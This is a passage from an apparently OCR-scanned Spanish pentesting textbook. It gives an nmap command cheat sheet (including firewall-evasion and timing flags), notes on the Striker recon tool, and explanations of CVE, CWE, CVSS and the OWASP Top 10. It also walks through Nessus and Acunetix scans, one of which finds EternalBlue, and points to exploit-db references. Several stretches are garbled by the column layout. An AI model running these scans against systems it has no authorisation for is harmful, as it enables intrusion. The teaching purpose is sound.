
filtrado, sucede para el escaneo “IP ID idle”.

Otros comandos de nmap

*nota: las IP y puertos son ejemplos, se debe

usar la apropiada para tu caso en especifico

198

H

‘ WHIT

Comando

Descripcion

Seleccioén de objetivo y escaneo

nmap 192.168.1.1 o
nmap www.pagina.com

Escanear IP (1000 puertos) u
objetivo

nmap 192.168.1.1-20

Escanear rango de IPs

nmap 192.168.1.1/24

Escanear subnet

nmap -iL lista.ixt

Escanear objetivos de una lista
txt

Seleccion de puertos

nmap -p 22 | Escanear un solo puerto
192.168.1.1

nmap -p 22,80,443 | Escanear varios puertos
192.168.1.1

nmap -p 1-100 | Escanear un rango de puertos
192.168.1.1

Tipos de escaneos de puertos

nmap -sT 192.168.1.1

Escanear utilizando

conexiones TCP

nmap -sU -p 123
192.168.1.1

Escanear puertos UDP
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nmap -Pn -F

192.168.1.1

Escanear e ignorar discovery
(util  para evadir algunas
restricciones de firewalls)

Deteccion de servicios y

sistemas operativos

nmap -0 192.168.1.1

Detectar sistemas operativos

nmap -A 192.168.1.1

Detectar sistemas operativos y
servicios

nmap -sV --version-
intensity 5 192.168.1.1

Deteccion agresiva de

servicios

nmap -sV --version-
intensity 0 192.168.1.1

Deteccién menos agresiva de

servicios

Guardando informacion de Nmap

nmap -oN archivo.bxt
192.168.1.1

Guarda el resuftado como txt

nmap -T0 192.168.1.1

Determinar nivel de paranoia
en el escaneo (0 es mas
paranoico, 5 €S menos
paranoico)
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OSINT + Reconocimiento Activo - Obtener

informacion con una sola herramienta

Striker es una herramienta escrita en Python
parecida a Discover, ya que obtienen cosas muy
parecidas, pero la diferencia clave es que Striker
no tiene opcion para reconocimiento 100% pasivo,
y dentro de las acciones que hace, realiza con
nmap un escaneo de puertos, por lo que tengo que

clasificarlo como reconocimiento activo.

La ventaja que tiene sobre Discover, es que la
informacion la obtiene mucho mas rapido (en mi
experiencia tiene un poco menos de confiabilidad,
lo uso cuando no tengo tanto tiempo).

Otra diferencia clave, es que Striker solo permite
reconocimiento en dominios.

Para utilizarlo, deberas ir a la carpeta en la que
esta la herramienta, que es
lopt/Reconocimiento/Striker

Dentro de ahi, tienes que darle permiso con
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chmod +x striker.py, y finalmente ejecutar el

script con ./striker.py

'opt/Reconocimiento/Striker# ./striker,

Luego de ejecutarlo, te pedira un dominio en donde

se realizara el reconocimiento.

[7] Enter the target: ||

Luego de darle el dominio, empezara a mostrar
resultados, como, por ejemplo:
1. Probabilidad de honeypot
CMS
informacién Whois
Robots.txt
Escaneo de servicios
Records DNS, MX, Hosts(A), TXT

o o p W N
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7. Mapa DNS

8. Correos electronicos

9. Hosts

10.Ligas vulnerables a SQLi

Generalmente el escaneo no toma mas de un par
de minutos, asi que, para la informacion obtenida,

la considero una herramienta bastante util.

Analisis de Vulnerabilidades

En |la etapa de analisis de vulnerabilidades se
utilizan distintas herramientas para determinar los

puntos débiles de un sistema, y por donde

podriamos atacar.

Generalmente lo que estamos buscando es una
vulnerabilidad, es decir, un punto débil
documentado para el que existe un ataque que
podamos utilizar para comprometer la seguridad

del sistema.

203

ITESUIT

C K ] N &




‘V WHITE g

CVEs y CWEs

Las vulnerabilidades las conocemos debido a que
existen organizaciones e investigadores en
seguridad informatica que las documentan y '
reportan, y el formato en el que documentan y
reportan dichas vulnerabilidades, se llama CVE, o
sea Common Vulnerabilities and Exposures,
dentro de un cddigo CVE es donde se pueden
encontrar todas las vulnerabilidades reportadas, es
muy importante entender esto, debido a que todos
los analizadores de vulnerabilidades utilizan este
formato para mostrarte las vulnerabilidades del
sistema.

Existen varias bases de datos donde podrias

encontrar estos CVEs, como, por ejemplo:

1. http://cve.mitre.org/

2. https://www.cvedetails.com/

3. https://nvd.nist.gov/
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Dentro de estas bases de datos, podras encontrar
vulnerabilidades reportadas. Estan catalogadas en
este formato: CVE-aiio-ID, y en algunas de estas
bases de datos hasta te da fuentes de que ataques
y herramientas que pueden explotar dichas
vulnerabilidades.

Sin embargo, no todas las vulnerabilidades son
iguales, algunas son mas peligrosas que otras,
para clasificar esto, existe el CVSS, que clasifica
del cero al diez y que tan peligrosa es una

vulnerabilidad.
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Distribution of all vulnerabilities by CVSS Scores

[

Puedes utilizar esto para determinar el nivel de

CVSS Score Number Of Vulnerabilities Perce riesgo de una organizacién, combinando los niveles
i 2891 2 - de CVSS con otros factores.
796 0 sores & Vulnerability Types
gimpact  Complele {There Is tofa! information disclosure, resufting in alf system fles being revealed }
3 48 3 Complete {There is a tofal compromise of system integrity. Thers is & complete loss of system prolection, resulling in the entire system being
— compromised.)
21?20 20 Jmpact Complete {There is 3 tolal hutdown of e affected reseurce T fer the respurce complelely unavallable )
] Mg {The access conditions are somewhat speciafized. Some pr stified bo exploft)
lgizé 18- Hiot requlred {Authentication is not required o explon the velnerabiiity.}
Hens
13612 13.0 .
{ 2
23893 22 }
451 Otra cosa importante que notar en los detalles de un
14509 )| CVE, es la documentacion y referencias, que te podrian
105037 dar indicaciones de cémo funciona el ataque, contra

~ qué sistemas, y de donde puedes obtener la

herramienta o codigo para ejecutar el ataque si es que

El CVSS cataloga a las vulnerabilidades B e axiste

dependiendo de la categoria: la confidencialidad,
integridad, disponibilidad, y que tan dificil es que

esta vulnerabilidad sea utilizada.
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= Products Affected By CVE-2017-0143

# Product Type Vendor Product Version Update Edition Language

1 Application  Microsoft Server Message Block 1.0

Version Details V_Ul_nﬁ_aﬁuﬁg

= Number Of Affected Versions By Product

Vendor Praduct Vulnerable Yersions

Microsoft Sarver Message Block 1

= References For CVE-2017-0143
http:f/wviw.securitytracker.com/id/1037991
SECTRACK 1037991

https://cert-portal.siemens.com/productcert/pdf/ssa-701903.pdf CONFIRM
https://portal.msre.microsoft.com/en-US/security-quidance/advisory/CVE-2017-0143 CONFIRM

https://www.exploit-db.com/exploits/41891/
EXPLOIT-DB 41891

https://cert-portal.siemens.com/productcert/pdf/ssa-966341.pdf CONFIRM

hittps: //www.exploit-db.com/exploits/43270/
EXPLOIT-DB 43970

https://ics-cert.us-cert.gov/advisories/ICSMA-18-058-02

https:/fwww.exploit-db.com/exploits/41987/
EXPLOIT-DB 41987

hittp: A, securityfocus.com/bid/26703
BID 96703 Microsoft Windovis SMB Server CVE-2017-0143 Remote Code Execution Vulnerability Release Date; 201705

= Vuinerability Conditions

Vulnerability is valid if product versions listed below are used TOGETHER WITH({AND)

« Microsoft Server Message Block 1.0

« Microsoft Windows 10 1511
Microsoft Windows 10 1607
Microsoft Windows 7 5P1

Microsoft Windows 8.1

Microsoft Windows Rt 8.1

Microsoft Windows Server 2008 5p2
Microsoft Windows Sarver 2008 R2 SP1
Microsoft Windows Server 2012 Gold
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016
Microsoft Windows Vista SP2
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como podras notar, en “references” hay varias
ligas que hacen mencion de cédigo que puedes
utilizar para realizar el ataque que explote esta
vulnerabilidad, por ahorita solo debes saber donde
obtener ese codigo e informacion, en la seccion de
explotacion hablare de como de hecho utilizarlo.
Como ultima nota quiero aclarar, que el CVE se
refiere a vulnerabilidades en sistemas o
tecnologias, no tipos de ataque, que veremos
luego.

Adicionalmente al CVE, existe algo llamado CWE,
que son siglas de Common Weakness
Enumeration. Los CWE hacen referencia a
debilidades del software, pero no vulnerabilidades,
seguramente te preguntaras, jcual es la
diferencia? Pues bastante, una vulnerabilidad, te
permitird directamente comprometer la seguridad
en una de las tres areas si logras explotarla. Por
otra parte, una debilidad, de hecho, no
necesariamente te permitira comprometer la
seguridad en ninguna forma importante, pero si

este es el caso, entonces ¢ por qué sigue siendo
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importante? Bueno lo que sucede, es que muchas
veces una vulnerabilidad no es suficiente como
para comprometer a un sistema, vamos a dar un
ejemplo, digamos que logras subir un archivo
ejecutable malicioso PHP en un servidor web, ahi
esta una vulnerabilidad que te permite subir ese
archivo, sin embargo, sin acceder, nunca se va a
ejecutarlo y por lo tanto no podrias obtener acceso
al servidor, pero, por ofra parte, si el servidor tiene
la debilidad de que puedes ver los directorios
completos del servidor, y logras por ese medio
ejecutar el archivo malicioso, es asi como

obtendras acceso.

Para comparar, digamos que quieres entrar a una
casa para robar, la vulnerabilidad es el equivalente
a que hay una ventana sin llave en el segundo
piso, mientras que la debilidad es que tengas todos
tus objetos de valor a plena vista y sin esconder en

tu habitacion.
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Para buscar e interpretar las debilidades, basta con
buscar su ID, que se estructura como CWE-ID,
esto aparecera en muchos analizadores de
vulnerabilidades, asi que es util saber como
buscarlo e interpretarlo.

Para buscar un CWE, basta con meterse a

https://cwe.mitre.org y buscar el ID, por ejemplo, si

busco el ID CWE-538, me mostraria una
descripcion de que significa esta vulnerabilidad.

(-538: File and Directory Information Exposure

ption:
product stores sensitive information in files or directories that are accessible to acters outside of the intended contral sphere.

En la misma pagina te muestra como se causa esta
debilidad.

stion aboed how and when this weskness may be introduced. The Phase Henfifec a paint in the soffivare [ cyele at whith Infrodurtion may occur, whie the fote provides 2
{he given phase.
‘ Hote
Wttt CHISSION: This weaknzss |
CHISSION: Ths neskness € caused
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Y finalmente, las posibles consecuencias, en donde
podria afectar dicha debilidad, y las posibles
formas en la que se podria mitigar o corregir la
debilidad.

Comingn Conseyuences

the Impact describes the negaiye et

tn e other censzquences iy the ST F,

Patential Hitigations

Phases: Architectuce and Design; Operation; System Contiguration
B it expose M2 and diredery bformation fs the user,

Las debilidades no son tan criticas como una
vulnerabilidad, sin embargo, combinarse con otros
factores, podrian darle un camino a un atacante
para comprometer la seguridad de la informacién.
En este caso, por ejemplo, que esencialmente
permite a un atacante ver los directorios y archivos,
podria afectar seriamente la seguridad empresarial
si un atacante logra ejecutar por este medio algun
archivo malicioso, o si el administrador sube por
accidente algun archivo confidencial y el atacante
lo descarga por la debilidad que encontré, incluso
con el simple hecho de darle informacion al
atacante. Esta debilidad estar poniendo en
potencial peligro la informacion de la organizacion,

las debilidades no deberian ignorarse.
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OWASP

open Web Application Security Project
(OWASP) es la organizacién de cédigo abierto sin
fines de lucro mas importante en temas de
seguridad en paginas y aplicaciones web, tanto asi
que se ha convertido practicamente en un estandar
en cuanto a que fallas y vulnerabilidades hay que
buscar primero y corregir en una pagina y (o
aplicacion) web con el famoso OWASP top 10.

DLUHSD

OWASP top 10
Para leer documentacion de OWASP, es
completamente gratis, simplemente debes entrar a

https://owasp.org y buscar el tema que deseas

investigar, lo primero que debes conocer que ha
hecho OWASP, que es facilmente una de las cosas

mas importantes, es el OWASP top 10, que
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puedes encontrar en contrasenas, claves, tokens de sesiones, o utilizar

https://www.owasp.org/index.php/Top 10-  alguna otra falla que le permita al atacante asumir

2017 Top 10, esta lista es de los 10 riesgos de o secuestrar la identidad de una victima ya sea

seguridad en aplicaciones/paginas web mas temporal 0 permanentemente.

comunes y peligrosos publicada en el 2017, que eg

la lista mas nueva al momento de escribir este librg 3. A4:2017 - informacién Sensible Expuesta

hablaré un poco de ellos. Muchas aplicaciones web y APIs no protegen
1. A1:2017 — Inyeccién

Fallas de inyeccién a tecnologias como SQL,

NoSQL, OS, LDAP, etc., esto ocurre cuando data

no confiable se manda a un interpretador como

adecuadamente data sensible tal como informacion
financiera o de salud, por esto, un atacante podria
robar o modificar informacioén que no haya sido
adecuadamente protegida para realizar algun

parte de un comando o blsqueda, y la data del fraude bancario, robos de identidad, u otro tipo de

atacante engafa al interpretador para que este ataques. La informacion sensible puede ser

ejecute comandos no autorizados en el servidor o comprometida siempre y cuando no tenga

que le de acceso al atacante a la informacién de la proteccion adicional tal como encriptacién en los

victima sin haber tenido la autorizaciéon adecuada. dispositivos o en transito (tal como encriptacion

punta-punta).
2. A2:2017 - Autenticacion rota

Funciones de una aplicacion relacionadas con la 4. A4:2017 - Entidades XML Externas (XXE)

autenticacion y manejo de sesion de usuarios son Muchos procesadores viejos o mal configurados
evaluan referencias de entidades externas dentro

de documentos XML, y por lo tanto las entidades

comunmente implementadas de forma incorrecta,

permitiendo a los atacantes comprometer
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externas pueden ser utilizadas para encontrar
archivos internos utilizando el manejador URI, asi
como archivos internos compartidos, puertos
escaneados internamente, codigo ejecutable
remoto, o ataques de negacion de servicios.

Ya sé que esta falla es un poco dificil de entender,
asi que lo pondré mas facil:

a veces una aplicacion web procesa data en el
XML de forma incorrecta, y ese XML tiene alguna
referencia a una entidad externa, un atacante
podria modificar esa referencia de forma que lo
apunta a un programa malicioso que podria

comprometer la seguridad de la aplicacion web.

5. A5:2017 - Control de acceso roto
Las restricciones en lo que los usuarios
autenticados en una aplicacion/pagina web pueden
hacer no siempre esta adecuadamente
configurada, de forma que un atacante podria
explotar las fallas en esta configuracion para
obtener acceso no autorizado a funcionalidad o

informacion adicional como acceder a informacion

216

de otros usuarios, ver archivos sensibles, o
modificar accesos o data.

Piensa en esto a una persona que entra a una
compaiiia como “invitado”, y como no esta siendo
vigilado, se mete a alguna area con “acceso
restringido”, lo cual puede hacer que tenga acceso

a informacién sin autorizacion.

6. A6:2017 - Mala configuracion de
seguridad

Esta es la falla mas comun, sucede debido a fallas
en la configuracion por defecto, almacenaje abierto,
cabeceras HTTP mal configuradas, errores de
verbosidad dando informacion sensible. Para evitar
esto todos los sistemas, librerias, frameworks y
aplicaciones deben de ser adecuadamente
configuradas en seguridad y ademas
parchadas/actualizadas regularmente.

Un ejemplo de esto podria ser digamos una pagina
de WordPress en la que el administrador no
actualizar sus plugins, y por lo tanto encontraras

una falla en uno de ellos.
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7. A7:2017 - Cross-site Scripting (XSS)
Las fallas de XSS ocurren cuando una aplicacion
incluye informacién no confiable en una pagina web
sin la adecuada validacion, o acepta
actualizaciones a la pagina web desde informacion
proveniente de un usuario que permitan crear
HTML o JavaScript dentro de la pagina web
afectada. Esto puede permitir a un atacante
ejecutar scripts maliciosos que pueden secuestrar
la sesion de usuarios, “humillar” paginas web, o
redireccionar a los usuarios a sitios maliciosos.
Este es un ataque del lado del cliente, es decir, se

busca atacar al usuario que utiliza la pagina web.

8. A8:2017 - Deserializacion insegura
La deserializacion insegura, comunmente lleva a la
ejecucion remota de codigo, e incluso si esto no
sucede, sigue siendo un peligro porque puede
permitir a un atacante que realice inyecciones,

escalar privilegios, entre otros.
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9. A9:2017 - Usar componentes con
vulnerabilidades conocidas

Hoy en dia es poco comun que se cree una
pagina/aplicacion web u otra tecnologia sin utilizar
partes externas como librerias, frameworks,
plugins, etc para ahorrar tiempo y esfuerzo, sin
embargo, si este codigo tiene errores debido a que
el desarrollador cometio un error, toda la aplicacion
podria ser comprometida, desde un atacante tomar
control del servidor, hasta pérdida de informacion.
Una analogia podria ser, digamos que estamos
construyendo una cadena de muchas partes, si una
de ellas es débil, toda la cadena se puede romper.
Un ejemplo real es si tu creas una aplicacion web,
digamos, con MongoDB y se encuentra una
vulnerabilidad en MongoDB, toda tu aplicacion se
puede ver comprometida, asi mismo, si creas una
pagina en WordPress y activas un plugin con

alguna vulnerabilidad, toda la pagina web podria

verse comprometida.
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10.A10:2017 - Falta de control de registros Analizadores de vulnerabilidades

El monitorear insuficientemente los registros,
combinado con falta de o mala implementacion de o Ver-e-mos analizsdorgs de
un plan de respuesta de incidentes, permite a los vulnerabilidades, un analizador de
atacantes seguir atacando mas sistemas, obtener Q=0 GarEsits DISRIEyERE Hie (el
persistencia, pivotear a otros sistamnas, exirasf] serie de verificaciones automatizadas, tal como
modificar o eliminar informacion. La mayoria de los escaneo.c'ie hueftos, serviclas, yusanep dichg
hackeos son detectados después de mas de 200 informac!t?n, busea aufomaticamente
dias, y tipicamente son detectados por auditorias vuIrTerablfIdades (CVEs y CWEs) en el sistema que
externas, no internas, debido a esta falta de estalanallzando, Esto es muy dtil, ya que en
T — ambientes organizacionales estos softwares
permiten hacer auditorias a gran escala mucho

~ OWASP Top 10 - 2013 OWASP Top 10 - 2017

e "3 | At:2017njection mas rapido, y como auditor nos facilita encontrar

A2 — Broken Authentication and Session Management | = A2:2017-Broken Authentication fa”as SUPerﬁCia[eS réplda y féCilmente_

A3 - Cross-Site Scripting (XS8) At ] ;A3:2017-Sensiﬁve Data Exposure

Quiero dejar algo claro, un analizador de

Ad - Insecure Direct Object References [Mergatd*AT] 1} A4:2017-XML External Entities (XXE) {NEW]

vulnerabilidades no es reemplazo para un
experto y conocimiento/experiencia en

AG - Security Misconfiguration %) A5:2017-Broken Access Control Merged] =

A6 — Sensitive Data Exposure ‘ | §A5:2017-5ecurity Misconfiguration

ciberseguridad, y si se trata como tal, podria dar

A7 — Missing Function Level Access Contr Mergad+Ad] | {J AT7:2017-Cross-Site Scripting (XSS)

AB - Cross-Site Request Forgery (CSRF) AB:2017-Insecure Deserialization INEW, Ca un falso sentido de seguridad, es solo una
A9 — Using Components with Known Vulnerabilities . e 4 .‘;AB:ZMT-Using Components withI-h'n:mrn\luim:= herramienta n']és7 se deben probar IOS falsos

A10 - Unvalidated Redirects and Forwards [ A10:2017-Insufficient Logging&Monitoring INEH pOSitiVOS/n egatiVOS y utilizar eXperiencia y
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conocimiento técnico para realizar una auditoria
que valga la pena.

Ahora mencionaré algunos de los analizadores de
vulnerabilidades mas comunes y utiles que
utilizamos, no todos son iguales, algunos son
especificos a una tecnologia en particular, otros

son mas versatiles.

Nessus

Nessus es un software de analisis de

vulnerabilidades creado por Teenable, es uno de

los mejores y mas utilizados sistemas de andlisis

de vulnerabilidades en el mercado, y en una

auditoria un software como este puede ser muy util.

La particularidad de Nessus, es que tiene mddulos
para hacer analisis de vulnerabilidades
practicamente a cualquier sistema, tanto local
como global, una de las cosas por las cuales es
particularmente util en la industria, sin embargo,
como casi todas las herramientas en
ciberseguridad, es una herramienta costosa, pero

podemos utilizar casi todas sus funciones en la

222

version de prueba, que es renovable
ilimitadamente.
Para instalarlo, deberas ir a

https://www.tenable.com/products/nessus/nessus-

professional/evaluate y solicitar una prueba, basta

con tener un correo con un dominio comprado para
que te manden una clave a tu correo electronico,
descarga el software en

https://www.tenable.com/downloads/nessus (es

compatible con Linux, Windows y OSX), y haz clic
en el instalador.

Luego de iniciar la instalacion, haz clic en el boton
verde y correr sin seguridad, luego que termine de
cargar, crea un usuario y contrasefia en la

siguiente pantalla.

Para abrir Nessus, deberas tener el proceso

abierto, y abrir una ventana de tu navegador en la

pagina: https://localhost:8834
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_reale an account

Username =~

Fassword *

Luego aqui introduciremos la clave que te

mandaron a tu correo.

224

run it in managed mode.

Scanner Type

| Home, Professional or Manager

Activation Code *

Y finalmente se inicializara, esta es la parte mas

lenta de la instalacion.
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Initializing

Please wait wi

£: 2018 Tenahle

Finalmente, te deberia de aparecer una pantalla

similar a la siguiente.

Aqui es donde iniciaremos los escaneos, para
iniciar uno, basta con hacer clic en el botén azul a
la derecha, y seleccionar el tipo de escaneo que
queremos realizar, estos son modelos de escaneos

para diferentes tipos de sistemas, son muy utiles,
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Scan Ternplates
i pack o o5

| Seanner
e

o

Advanced Scan
e A = 3 d s

& ,f’ -'.3

Audit Cloud Infrastructure
B e

M

Intel AMT Security Bypass

odrias crear uno propio en base a tus

necesidades con la primera opcion.

i

. Badlock Detection

Internal PCI Network Scan

‘ng—u;g SUIT

pero estan compuestos de médulos, y como tal, tu

Bash Shellshock Detection

©

Halware Scan

Basic Hetwark Scary

Hest Discovery

. 7 --]
SCAP and OVAL Auditing Shadew Brokers Sean

pCi Quarterly Extarnal Scan Policy Compiiance Auditing
o rrs fo y cetory NS Mt v b A i

\Vamos a decir que queremos escanear dos
sistemas en una red interna y buscar si tienen
vulnerabilidades, para esto, seleccionaremos un
escaneo basico (basic network scan), que busca lo
mas comun en todos los sistemas, junto con
reconocimiento activo. Este escaneo, como puedes
ver, te permite escanear a varias IPs al mismo
tiempo, y te permite escanear tanto sistemas
locales como globales, como el ejemplo de la

pagina de nmap.
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pero estan compuestos de médulos, y como tal, tu

podrias crear uno propio en base a tus

necesidades con la primera opcion.

Sean Jermplates

& Bk o 975

Seanrer
i = s
1 -\ ] e
& # =1
Advanced Sean Audit Cloud Inhnlruslme Badlock Detection Bash Shellshock Detection Basic Network Scary
Host Discovery Tntel AMT Secuity Bypass Internal PCI Network Sean Malware Scan MOoM Cenﬁuh

o g ¢ 8

PCl Quarterly External Scan Policy Compliance Auditing SCAP and OVAL Auditing Shadaw Brokers Scan Spactre and Meltdowly
Roturenss BTy e O e e RelY gy, g MR anA TR i e e s ity brasiet cnveeie-tor Ve

Finalmente, te deberia de aparecer una pantalla
Vamos a decir que queremos escanear dos

similar a la siguiente.

Nessisgy sistemas en una red interna y buscar si tienen

vulnerabilidades, para esto, seleccionaremos un

fmo

i — escaneo basico (basic network scan), que busca lo
o mas comun en todos los sistemas, junto con

L]

: reconocimiento activo. Este escaneo, como puedes

Aqui es donde iniciaremos los escaneos, par - : :
g i psfa ver, te permite escanear a varias IPs al mismo

iniciar uno, basta con hacer clic en el boton azul a tiempo, y te permite escanear tanto sistemas

la derecha, y seleccionar el tipo de escaneo que locales como globales, como el ejemplo de I

ueremos realizar, estos son modelos o
q , de escaneos pagina de nmap.

para diferentes tipos de sistemas, son muy utiles,
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Mew Scan / Basic Netwaork Scan

¢ Back to Scan Templates

Settings Ciadentiais Flugins <0
BASIC =
a0 Escaneo
General hiapes = .
Schedule I i
Description rech interna
Rolfications
DISCOVERY . - ¥
ASSESSMENT Folder | Wty Scans -
REPORT - —
= Taigats 92,168 1 20, scanme.
G g 192,168 1.141, 182.168.1.130, scanme.amap.ora]
- 1
|
Upload Targets Fdd File
== -

Ahora hacemos clic en “save” (grabar), y en la
pantalla principal nos aparecera este escaneo ya
configurado, debemos hacer clic en la flecha para

iniciar el escaneo.

by Seans -
=g diide et
By (== Wk
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Al hacer clic en el escaneo, podemos ver el

gvance, junto con la informacion que va obteniendo

de cada activo escaneado. Como puedes ver, tiene
un rango de qué tan critica es una vulnerabilidad

que te deberia de recordar al CVSS.

Para ver detalles, hacemos clic en el activo que
queremos ver, y nos mostrara detalles de Ia
informacion obtenida. En este ejemplo, nos dice en
la parte derecha que es un Windows 7 Home, su
IP, direccién MAC, y nos dice que tiene dos
‘vulnerabilidades criticas y algunas otras de menos
gravedad, las vulnerabilidades criticas son las que

mas nos interesan
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| yi517-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMP!

5 tane Hort vty
et & hast is affected by the following vulnerabiiities:
- s
2“” 4 1 code evecution vulnerabiities exist in Wicrosoft Server Message Slock 1.0 {ShEv1) due to improper handling of ceilain sequests. An

! emote attacker can explait these viilnerabilities. viz 2 speciaily crafted packe!. 1o evecute arbiteary code, {CVE-2012-0143, CVE-2017-0144,
.2017-0146, CVE-2017-0148)

disclosure vulnerability exdsts in Microsoft Server Message Biock 1.0 {Shiby1) due to impraper handling of certain requests. An
remote attacker can exploit this, via 3 spacily crafied packet, o disciose sensilive Information. (CVE-2017-0147)

i ETERNALCAANPION, ETERNALROMANCE and ETERNALSYHERGY are four of multiple Equation Group vulnerabilities and exploits disclosed
roug known s the Shadow Brokers, WannaCry / WanaaCrypt is 2 ransomivare program utiizing the ETERNALBLUE explait, and
woren that utiizes seven Equation Greug vulnerabifities. Falyz 1s a nsomare program that first utiiizes CVE-2017-0199, a vulnerabilty in

e ard then spreads via ETERNALBLVE.

Ya que nos interesan las vulnerabilidades criticas,

4 3 st of patches Tor Windows Vista, 2003, 7, 2008 RZ, 2012, 81, RT 8.1, 2012 R2, 10, 3nd 2015, Microsoft has alo releazed emerngncy

haremos clic en una de estas para ver que nos

soperating systems that aie no longer supported. includiag Windows XP. 2003, and B,
muestra. Como pode

p moes Ver’ en la panta"a lindavss operating systems, 2.g. Wirdows XF. Microsoft recommands that users discontinue the use of SMBv 1, SB1 facks secunty
¢ includad in iater SMIB versions, SMBy1 can be disabled by follwing the vendor instructions provided in Microsoft KB2636547,
CERT recommends that users hlock SMB directly by blocking TCP port 445 on all network boundary devices, For SMB over the NetBiOS APL
37/ 139 and UDP ports 137/ 138 on all network beurdary devices.

principal nos muestra una descripcion de la falla,

posibles soluciones, y algunas ligas con

documentacion. . _
Sin embargo, como pentester, me interesan un

poco mas las referencias que se muestra en la
parte a la derecha, ya que me muestra en que
afecta a la seguridad en base al CVSS, si existe un |
exploit que pueda atacar a esa vulnerabilidad, que |

herramientas tienen ese exploit, y el CVE, que si

\
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Plugin Delails

Vartion.
fipe
Family
Fublithed

Nedfieg:

hago clic en este ultimo, me llevaria a una pagina
donde podria encontrar todavia mas
documentacion de cdmo funciona y como se

explota esta vulnerabilidad.

. ; Exploitable With
Risk Information 4

Critcal "

- . Metaspiont (ME17.010 EternaiBl 8
3 Rigk Factor; Critical : i ) Slue Suip "2

Karng! Pool Corruption)
118 CVET Base Scorer 109
remote CVES Temporal Scare 3.7 N
) V53 Temporal Score 2 Core impact
WIS VS5 Vactor CVSSZEAVA/ACLAUN/CCACIAC
Harch 20 2017 £ e e
N CVES Temporal Vector CVIS2REH/RLOR/RCC

LU AL Reference Information

Vulnerability Infermation

IAVA: 2017.A-
MSKE: 40

51

CPE: pedomicrosoftwindows

Exploit Availatle: 1rue o
Explon Ease: Exploits are available :
Patch Pub Date: March 14, 2017 1
Vulnerability Pub Date: March 14 2017 a

in the news: true

Adicionalmente, en la fase de reporte,
especialmente en la ejecutiva, es de gran ayuda la
funcion de exportacion de esta herramienta. Para

utilizarla, basta con usar el botén que esta a Ia
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derecha “export” dentro de un escaneo, y
posteriormente elegir en qué formato quieres que
se exporte, a mi particularmente me ha sido muy
util el formato HTML ya que es facil de mover y

leer, sin embargo, dependera de ti que formato te

sirve mejor.

Configure Audit Trail Launch = Export ¥

En el reporte, te mostrara de forma mas facil de
exportar y mandar, un documento en el cual te dara
los detalles de las vulnerabilidades de cada activo
que hayas auditado, esto te serd muy util para

preparar los entregables al cliente final.
Nessus @B ‘

TABLE OF CONTENTS
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Acunetix o § Secure | hitps//www.acunetiLoom v Inerabiity

Acunetix es un escaner de vulnerabilidades de

sssvsssenas

aplicaciones web. La herramienta esta disefiada

para encontrar angerOS de Seguridad en [aS W!dﬂ'ﬂ”‘lﬂ‘f"f itk will e sent to you vig €mail, 59 ensure you enter o vahd email oagress.

aplicaciones web de la organizacién que un

atacante podria aprovechar para obtener acceso a E
[_W‘ Last Name

Eﬂi(@ﬁ;y;w: HName

los sistemas y datos y nos ayuda a documentar los
reportes en diferentes estandares como ISO
27001.

Iremos a descargarlo la version de 14 dias en la

@th}nr Numbet
(;;‘ff—h’-.jl\ Address

lma Software Reseller

v

Llenamos los campos para poder descargarlo e

siguiente ruta:

https://www.acunetix.com/vulnerability-

scanner/download/

instalarlo.
Una vez instalado lo ejecutamos y s€ Nos abrira en

nuestro localhost un servidor de Acunetix en el

puerto 13444, o sea, en https://localhost: 13444

Para realizar un nuevo escaneo agregaremos un

Target para asi despues darle clic donde dice New
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B & [ Acunetic- Dashboard X + ™

« 30 a &

locathost |

acunetix

@& Dashboard

B Reports

Medium Se

El escaneo se empezara a realizar y una vez
concluido nos mostrara las posibles
vulnerabilidades que tiene el servidor web
escaneado.

Nota: Los escaneos suelen tardar algo de tiempo v

consume mucho ancho de banda.

Scan y ahi poner la URL de la pagina web que

queremaos escanear

5,88 ims 27

Add Target

Address

Description

Una vez finalizado el escaneo nos arroja las
posibles vulnerabilidades las cual hay que validar a
mano, para asi pasar a la fase de explotacion en
un Pentesting. Acutinex, a diferencia de Nessus, se
especializa en aplicaciones y paginas web,
entonces tiene algunas ventajas en estas areas, en

Add Target [EEITS

este caso, reporta desde para cumplir ciertos 1ISOs,
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hasta de acuerdo con OWASP top 10, puedes Y al hacer clic en una de ellas, te mostraria lo que

hacer clic en la pestafia de vulnerabilidades para cualquier analizador de vulnerabilidades:

ver las vulnerabilidades. descripcion, detalles del ataque, impacto,

recomendaciones, documentacion, etc. en donde

Scan Sfats & Info Vulnarabilities Sita Structure Evenls

puedes tomar el CVE o CWE o el nimero del
OWASP top 10, dependiendo de la vulnerabilidad,

Se.. Vulnesahility URL Parameler

{ l:mszsi;erscrrirpilrngr ':*t:p:j,-‘l;;;z.léa.l.l';:z! 3
WordPress 'get_edit_post_Hnk{) and ‘get_edit_co..  httpyf/192.16R.1.88f
WordPress 'press-this.php' Multiple Csoss-5ite Sari...  hilpi /1921583 68/ para buscar como exPIOtarla'
WortPress 'press-this.php' Remote Security Bypas.,,  hilp://iS2.1681.68/

WaordFress 'templates.php! Cross-Sile Scapling Vul..  httpi//182.166.1.68/

Asi como Nessus, Cross site scripting

también tiene un
apartado donde puedes

ViordPress 'wp-admin/admin,php' Module Configu.. itp://192.166.1,68/
WordPrass "wp-admin/options.php’ Remote Code .. httpy//192.168.1.68/
WordPress wp-db,php’ Character 521 SQL Injecio... hitlpy//192,168.1.68/

WordPress wip-register.php' Mulliple Cross-Site 5¢..,  http://192.168.1.68/ e - -
55w registerphp ¥ Mulnerability description

WordPress 2.0.1 Denisl of Servize Vulnerahility (0.6, hitp://192,168,1.68/
generar reportes en el v Riback derd
\WordPress 162 Username Remote PHP Code injec..  hitp://182.166,1.68/ . ack details
F4 11
WordPsess 1.6.3 Multiple Unspacified Security Vuln... -https b OtO n Ge nerate R epo rt”, ¥ HITP request

WordPrass 265 Charset Decading SQUInjctinn Vu... hHtpy//192.168.1,68/ uedeS hacerlo en ba
yp S€ ¥ Theimpact of this vulnerability

WordPress 2.0.5 Cross-Site Scripting Vulnerabifity (. hitp://192.162.1,62/

a tus necesidades, tal

WordPress 2.6:5 Invalid CSRF Token Cross-5ite Sorl...

How to fix this vulnerability

WordPress 2.0.6 'Zend_Hash_Del_Key_Or_Indax'S., hitpy/192,166.1,68/

cOmo un reporte
ejecutivo, o OWASP, o »

algin ISO en particular.

Classification

%

WordPrass 26 Multiple Vulnerabilitias (2.0 - 2.08)  hitp://192.168.1.68/

VordPrass 2.3.2 Post Edit Unauthorized Access Vul..  hiip://192.188,1.88/ . . .
Detailed information

